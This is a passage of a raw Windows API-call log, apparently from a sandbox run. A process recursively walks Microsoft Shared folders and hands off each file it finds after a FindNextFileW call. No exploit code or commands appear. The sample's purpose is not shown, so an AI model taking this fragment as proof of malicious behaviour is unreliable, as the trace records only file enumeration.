ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0251.788] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0251.788] ResetEvent (hEvent=0xe0) returned 1 [0251.788] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0251.920] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0251.920] ResetEvent (hEvent=0xe0) returned 1 [0251.920] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0252.038] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0252.038] ResetEvent (hEvent=0xe0) returned 1 [0252.038] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0252.546] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0252.546] ResetEvent (hEvent=0xe0) returned 1 [0252.546] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0254.386] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0254.386] ResetEvent (hEvent=0xe0) returned 1 [0254.386] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0254.455] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0254.455] ResetEvent (hEvent=0xe0) returned 1 [0254.455] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0254.565] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0254.565] ResetEvent (hEvent=0xe0) returned 1 [0254.566] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0254.584] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0254.584] ResetEvent (hEvent=0xe0) returned 1 [0254.584] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0255.278] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0255.278] ResetEvent (hEvent=0xe0) returned 1 [0255.278] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0255.959] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0255.959] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0255.960] GetProcessHeap () returned 0x550000 [0255.960] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0255.961] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0255.961] GetProcessHeap () returned 0x550000 [0255.961] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0255.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0255.962] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.962] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0255.962] GetProcessHeap () returned 0x550000 [0255.962] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0255.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0255.963] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.963] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0255.963] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0255.964] GetProcessHeap () returned 0x550000 [0255.964] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0255.964] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0255.964] ResetEvent (hEvent=0xe0) returned 1 [0255.964] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0256.971] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0256.971] ResetEvent (hEvent=0xe0) returned 1 [0256.971] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0258.167] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0258.167] ResetEvent (hEvent=0xe0) returned 1 [0258.167] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0258.302] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0258.302] ResetEvent (hEvent=0xe0) returned 1 [0258.302] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0258.449] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0258.449] ResetEvent (hEvent=0xe0) returned 1 [0258.449] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0258.463] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0258.463] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0258.463] GetProcessHeap () returned 0x550000 [0258.463] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0258.463] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0258.463] GetProcessHeap () returned 0x550000 [0258.463] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0258.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0258.465] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.465] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0258.465] GetProcessHeap () returned 0x550000 [0258.465] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0258.465] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0258.465] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.465] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0258.465] ResetEvent (hEvent=0xe0) returned 1 [0258.465] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0259.092] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0259.092] ResetEvent (hEvent=0xe0) returned 1 [0259.092] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0259.283] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0259.284] ResetEvent (hEvent=0xe0) returned 1 [0259.284] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0260.004] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0260.004] ResetEvent (hEvent=0xe0) returned 1 [0260.004] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0260.005] ResetEvent (hEvent=0xe0) returned 1 [0260.005] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0260.836] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0260.836] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0260.837] GetProcessHeap () returned 0x550000 [0260.837] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0260.837] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0260.837] GetProcessHeap () returned 0x550000 [0260.837] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0260.837] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0260.837] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.837] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0260.837] ResetEvent (hEvent=0xe0) returned 1 [0260.837] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0261.161] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, 